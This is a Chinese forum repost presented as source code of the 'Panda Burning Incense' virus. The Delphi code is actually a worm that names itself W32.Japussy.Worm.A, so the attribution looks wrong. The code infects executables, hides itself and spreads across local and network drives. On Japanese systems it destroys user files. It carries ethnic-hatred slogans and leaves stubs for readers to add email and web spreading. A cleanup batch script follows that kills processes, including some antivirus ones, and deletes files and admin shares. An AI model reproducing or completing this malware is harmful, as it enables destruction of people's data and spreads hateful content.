熊猫烧香病毒原代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;                 //病毒体的大小
IconOffset = $12EB8;               //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912;                 //Upx压缩过病毒体的大小
IconOffset = $92BC;                 //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize       = $2E8;                 //PE文件主图标的大小--744字节
IconTail       = IconOffset + IconSize; //PE文件主图标的尾部
ID           = $44444444;             //感染标记
//垃圾码，以备写入
Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +
            ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +
            ''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明
var
TmpFile: string;
Si:         STARTUPINFO;
Pi:         PROCESS_INFORMATION;
IsJap:       Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
      Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
      Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
      sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
        dStream := TFileStream.Create(FileName, fmCreate);
        try
        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
        finally
        dStream.Free;
        end;
      finally
        sStream.Free;
      end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
      if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己则不感染
        Exit;
      Infected := False;
      IsPE       := False;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      try
        for i := 0 to $108 do //检查PE文件头
        begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
        begin
          IsPE := True; //是PE文件
          Break;
        end;
        end;
        SrcStream.Seek(-4, soFromEnd); //检查感染标记
        SrcStream.Read(iID, 4);
        if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
      finally
        SrcStream.Free;
end;
      if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
        Exit;
      IcoStream := TMemoryStream.Create;
      DstStream := TMemoryStream.Create;
      try
        aIcon := TIcon.Create;
        try
        //得到被感染文件的主图标(744字节)，存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
        finally
        aIcon.Free;
        end;
        SrcStream := TFileStream.Create(FileName, fmOpenRead);
        //头文件
        HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
        try
        //写入病毒体主图标之前的数据
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //写入目前程序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //写入病毒体主图标到病毒体尾部之间的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //写入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
        finally
        HdrStream.Free;
        end;
      finally
        SrcStream.Free;
        IcoStream.Free;
        DstStream.SaveToFile(FileName); //替换宿主文件
        DstStream.Free;
      end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
      SetFileAttributes(PChar(FileName), 0); //去掉只读属性
      FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
      try
        Size := GetFileSize(FileHandle, nil); //文件大小
        i := 0;
        Randomize;
        Max := Random(15); //写入垃圾码的随机次数
        if Max < 5 then
        Max := 5;
        Mass := Size div Max; //每个间隔块的大小
        Len := Length(Catchword);
        while i < Max do
        begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //写入垃圾码，将文件彻底破坏掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
        end;
      finally
        FileClose(FileHandle); //关闭文件
      end;
      DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
      D := Chr(i + 65);
      Str := D + '''''''''''''''':/'''''''''''''''';
      DiskType := GetDriveType(PChar(Str));
      //得到本地磁盘和网络盘
      if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
        Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
      if (SearchRec.Attr <> 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and
        (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then
        Result := 0 //不是目录
      else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and
        (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then
        Result := 1 //不是根目录
      else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
      repeat
        PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
        if IsValidDir(SearchRec) = 0 then
        begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then
        begin
          InfectOneFile(Fn); //感染可执行文件   
        end
        else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then
        begin
          //感染HTML和ASP文件，将Base64编码后的病毒写入
          //感染浏览此网页的所有用户
          //哪位大兄弟愿意完成之？
        end
        else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件
        begin
          //获取Outlook邮件地址
        end
        else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件
        begin
          //获取Foxmail邮件地址
        end
        else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件
        begin
          //获取Foxmail邮件地址
end
        else
        begin
          if IsJap then //是倭文操作系统
          begin
            if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or
            (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or
            (Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or
            (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or
            (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or
            (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then
              SmashFile(Fn); //摧毁文件
          end;
        end;
        end;
        //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
        Sleep(200);
      until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then
begin
      repeat
        if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
      until (FindNext(SearchRec) <> 0);
      end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
      LoopFiles(Path + SubDir.Strings + ''''''''''''''''/'''''''''''''''', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
      IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
      for i := Len downto 1 do //遍历每个磁盘驱动器
        LoopFiles(DriverList + '''''''''''''''':/'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之
      SendMail; //发带毒邮件
      Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
      RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
      //远程线程映射到Explorer进程
      //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then
      InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
      TmpFile := ParamStr(0); //创建临时文件
      Delete(TmpFile, Length(TmpFile) - 4, 4);
      TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件，多一个空格
      ExtractFile(TmpFile); //分离之
      FillStartupInfo(Si, SW_SHOWDEFAULT);
      CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
        0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之
      InfectFiles; //感染和发邮件
end;
end.
请转帖的朋友标明出处    www.honkercn.net
以下为清除威金、熊猫烧香病毒的批处理
@echo off
title 清除威金（logo_1,熊猫烧香）病毒最新变种工具
@echo 清除VIKING病毒最新变种工具
pause
if exist %windir%/rundl132.exe echo ---报告老大，发现有威金病毒埋伏! 让我来干掉它-----
if exist %windir%/logo_1.exe echo ---报告老大，发现有威金病毒埋伏!让我来干掉它 -----
//杀viking进程
tskill logo_1
tskill rundl132
tskill zt
tskill wow
tskill logo1_
tskill Ravmon
tskill Eghost
tskill Mailmon
tskill KAVPFW
tskill IPARMOR
tskill Ravmond
taskkill /f /im 0sy.exe
taskkill /f /im 1sy.exe
taskkill /f /im 2sy.exe
taskkill /f /im 3sy.exe
taskkill /f /im 4sy.exe
taskkill /f /im 5sy.exe
taskkill /f /im 6sy.exe
taskkill /f /im 7sy.exe
taskkill /f /im 8sy.exe
taskkill /f /im 9sy.exe
//删除木马
del d:/_desktop.ini /f/s/q/a
del c:/Program Files/_desktop.ini
del %Windir%/MickNew/MickNew.dll
del %Windir%/MH_FILE/MH_DLL.dll
del %Windir%/_desktop.ini
del %Windir%/TODAYZTKING/TODAYZTKING.DLL
attrib -h -r -s c:/go.exe
del c:/go.exe
del c:/setup.exe
attrib -h -s -r c:/autorun.inf
del c:/autorun.inf
attrib -h -r -s d:/go.exe
del d:/go.exe
del d:/setup.exe
attrib -h -s -r d:/autorun.inf
del d:/autorun.inf
del e:/setup.exe
attrib -h -r -s e:/go.exe
del e:/go.exe
attrib -h -s -r e:/autorun.inf
del e:/autorun.inf
attrib -h -r -s f:/go.exe
del f:/go.exe
del f:/setup.exe
attrib -h -s -r f:/autorun.inf
del f:/autorun.inf
attrib -h -r -s g:/go.exe
del g:/go.exe
del g:/setup.exe
attrib -h -s -r g:/autorun.inf
del g:/autorun.inf
del h:/go.exe
del h:/setup.exe
attrib -h -s -r g:/autorun.inf
del h:/autorun.inf
del i:/go.exe
attrib -h -s -r g:/autorun.inf
del i:/autorun.inf
del i:/setup.exe
del j:/go.exe
attrib -h -s -r g:/autorun.inf
del j:/autorun.inf
del j:/setup.exe
del %windir%/system/Logo1_.exedel %windir%/system/Logo_1.exe
del %windir%/rundl132.exe
del %windir%/vDll.dll
del %windir%/Dll.dll
del %windir%/0Sy.exe
del %windir%/1Sy.exe
del %windir%/2Sy.exe
del %windir%/3Sy.exe
del %windir%/5Sy.exe
del %windir%/1.com
@echo ^_^ 报告老大，VIKING已经全都被处死
@echo 真累哈,再给你的系统免疫下,不需要的话请直接退出
pause
//免疫系统
echo > %windir%/Logo1_.exe
echo > %windir%/rundl132.exe
echo > %windir%/0Sy.exe
echo > %windir%/vDll.dll
echo > %windir%/1Sy.exe
echo > %windir%/2Sy.exe
echo > %windir%/rundll32.exe
echo > %windir%/3Sy.exe
echo > %windir%/5Sy.exe
echo > %windir%/1.com
echo > %windir%/exerouter.exe
echo > %windir%/EXP10RER.com
echo > %windir%/finders.com
echo > %windir%/Shell.sys
echo > %windir%/kill.exe
echo > %windir%/sws.dll
echo > %windir%/sws32.dll
echo > %windir%/uninstall/rundl132.exe
echo > %windir%/SVCHOST.exe
echo > %windir%/WINLOGON.exe
echo > %windir%/RUNDLL32.EXE
echo > C:/"Program Files"/svchost.exe
echo > C:/"Program Files"/"Internet Explorer"/svchost.exe
echo > %windir%/Download/svchost.exe
echo > %windir%/system32/wldll.dll
attrib %windir%/Logo1_.exe +s +r +h
attrib %windir%/rundl132.exe +s +r +h
attrib %windir%/0Sy.exe +s +r +h
attrib %windir%/vDll.dll +s +r +h
attrib %windir%/1Sy.exe +s +r +h
attrib %windir%/2Sy.exe +s +r +h
attrib %windir%/rundll32.exe +s +r +h
attrib %windir%/3Sy.exe +s +r +h
attrib %windir%/5Sy.exe +s +r +h
attrib %windir%/1.com +s +r +h
attrib %windir%/exerouter.exe +s +r +h
attrib %windir%/EXP10RER.com +s +r +h
attrib %windir%/finders.com +s +r +h
attrib %windir%/Shell.sys +s +r +h
attrib %windir%/kill.exe +s +r +h
attrib %windir%/sws.dll +s +r +h
attrib %windir%/sws32.dll +s +r +h
attrib %windir%/uninstall/rundl132.exe +s +r +h
attrib %windir%/SVCHOST.exe +s +r +h
attrib %windir%/WINLOGON.exe +s +r +h
attrib %windir%/RUNDLL32.EXE +s +r +h
attrib C:/"Program Files"/svchost.exe +s +r +h
attrib C:/"Program Files"/"Internet Explorer"/svchost.exe +s +r +h
attrib %windir%/Download/svchost.exe +s +r +h
attrib %windir%/system32/wldll.dll +s +r +h
net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
net share admin$ /del
net share ipc$ /del
cls
@echo -------------------------------------
@echo viking已经全部被我杀完拉,哈,厉害吧
@echo 系统已经成功免疫!
@echo 谢谢你的使用,请重启您的电脑!
@echo -------------------------------------
pause